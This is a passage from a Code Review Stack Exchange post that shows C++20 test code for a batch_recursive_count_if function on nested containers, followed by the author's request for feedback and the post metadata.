{return i == 10; }; auto batch_output1 = batch_recursive_count_if&lt;2&gt;(test_vector2, predicator1, predicator2, predicator3, predicator4, predicator5, predicator6, predicator7, predicator8, predicator9, predicator10); std::cout &lt;&lt; &quot;Each element in batch_output1: &quot; &lt;&lt; '\n'; for (auto&amp; element : batch_output1) { std::cout &lt;&lt; element &lt;&lt; '\n'; } std::cout &lt;&lt; '\n'; // std::deque&lt;std::deque&lt;int&gt;&gt; case std::cout &lt;&lt; &quot;std::deque&lt;std::deque&lt;int&gt;&gt; case:&quot; &lt;&lt; '\n'; std::deque&lt;int&gt; test_deque; test_deque.push_back(1); test_deque.push_back(2); test_deque.push_back(3); std::deque&lt;decltype(test_deque)&gt; test_deque2; test_deque2.push_back(test_deque); test_deque2.push_back(test_deque); test_deque2.push_back(test_deque); // use lambda expressions to count the elements which is equal to 1 to 10. std::cout &lt;&lt; &quot;#number is 1: &quot; &lt;&lt; recursive_count_if&lt;2&gt;(test_deque2, predicator1) &lt;&lt; '\n'; auto batch_output2 = batch_recursive_count_if&lt;2&gt;(test_deque2, predicator1, predicator2, predicator3, predicator4, predicator5, predicator6, predicator7, predicator8, predicator9, predicator10); std::cout &lt;&lt; &quot;Each element in batch_output1: &quot; &lt;&lt; '\n'; for (auto&amp; element : batch_output2) { std::cout &lt;&lt; element &lt;&lt; '\n'; } std::cout &lt;&lt; '\n'; // std::vector&lt;std::vector&lt;std::string&gt;&gt; case std::cout &lt;&lt; &quot;std::vector&lt;std::vector&lt;std::string&gt;&gt;:&quot; &lt;&lt; '\n'; std::vector&lt;std::vector&lt;std::string&gt;&gt; v = { {&quot;hello&quot;}, {&quot;world&quot;} }; auto is_hello = [](auto&amp; i) { return i == &quot;hello&quot;; }; auto is_world = [](auto&amp; i) { return i == &quot;world&quot;; }; std::cout &lt;&lt; &quot;recursive_count_if output of is_hello:&quot; &lt;&lt; recursive_count_if&lt;2&gt;(v, is_hello) &lt;&lt; std::endl; auto batch_output3 = batch_recursive_count_if&lt;2&gt;(v, is_hello, is_world); std::cout &lt;&lt; &quot;Each element in batch_output1: &quot; &lt;&lt; '\n'; for (auto&amp; element : batch_output3) { std::cout &lt;&lt; element &lt;&lt; '\n'; } std::cout &lt;&lt; '\n'; // Count specific std::vector&lt;std::vector&lt;int&gt;&gt; element in std::vector&lt;std::vector&lt;std::vector&lt;int&gt;&gt;&gt; case std::cout &lt;&lt; &quot;Count specific std::vector&lt;std::vector&lt;int&gt;&gt; element in std::vector&lt;std::vector&lt;std::vector&lt;int&gt;&gt;&gt; case:&quot; &lt;&lt; std::endl; std::vector&lt;decltype(test_vector2)&gt; test_vector3; for (size_t i = 0; i &lt; 3; i++) { test_vector3.push_back(test_vector2); } auto batch_output4 = batch_recursive_count_if&lt;1&gt;(test_vector3, [test_vector2](auto&amp; element) { if (element.size() != test_vector2.size()) { return false; } return std::equal(element.begin(), element.end(), test_vector2.begin()); }, [test_vector2](auto&amp; element) { auto vector_for_comparison = test_vector2; vector_for_comparison.push_back(std::vector&lt;int&gt;{12, 2, 3}); if (element.size() != vector_for_comparison.size()) { return false; } return std::equal(vector_for_comparison.begin(), vector_for_comparison.end(), vector_for_comparison.begin()); }); for (auto&amp; element : batch_output4) { std::cout &lt;&lt; element &lt;&lt; '\n'; } std::cout &lt;&lt; '\n'; return; } </code></pre> </p> <p><a href="https://godbolt.org/z/bvjT4WYYe" rel="nofollow noreferrer">A Godbolt link is here.</a></p> <p>All suggestions are welcome.</p> <p>The summary information:</p> <ul> <li><p>Which question it is a follow-up to?</p> <p><a href="https://codereview.stackexchange.com/q/252053/231235">A recursive_count_if Function For Various Type Arbitrary Nested Iterable Implementation in C++</a> and</p> <p><a href="https://codereview.stackexchange.com/q/252404/231235">A recursive_count_if Function with Unwrap Level for Various Type Arbitrary Nested Iterable Implementation in C++</a></p> </li> <li><p>What changes has been made in the code since last question?</p> <p>The function <code>batch_recursive_count_if</code> to handle the use cases of multiple predicates is implemented here.</p> </li> <li><p>Why a new review is being asked for?</p> <p>If there is any suggestion about this implementation, please let me know.</p> </li> </ul>
[]
[]
{ "AcceptedAnswerId": null, "CommentCount": "0", "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2021-03-23T05:46:18.847", "Id": "257556", "Score": "1", "Tags": [ "c++", "strings", "recursion", "vectors", "c++20" ], "Title": "A batch_recursive_count_if Function with Unwrap Level for Various Type Arbitrary Nested Iterable Implementation in C++" }
257556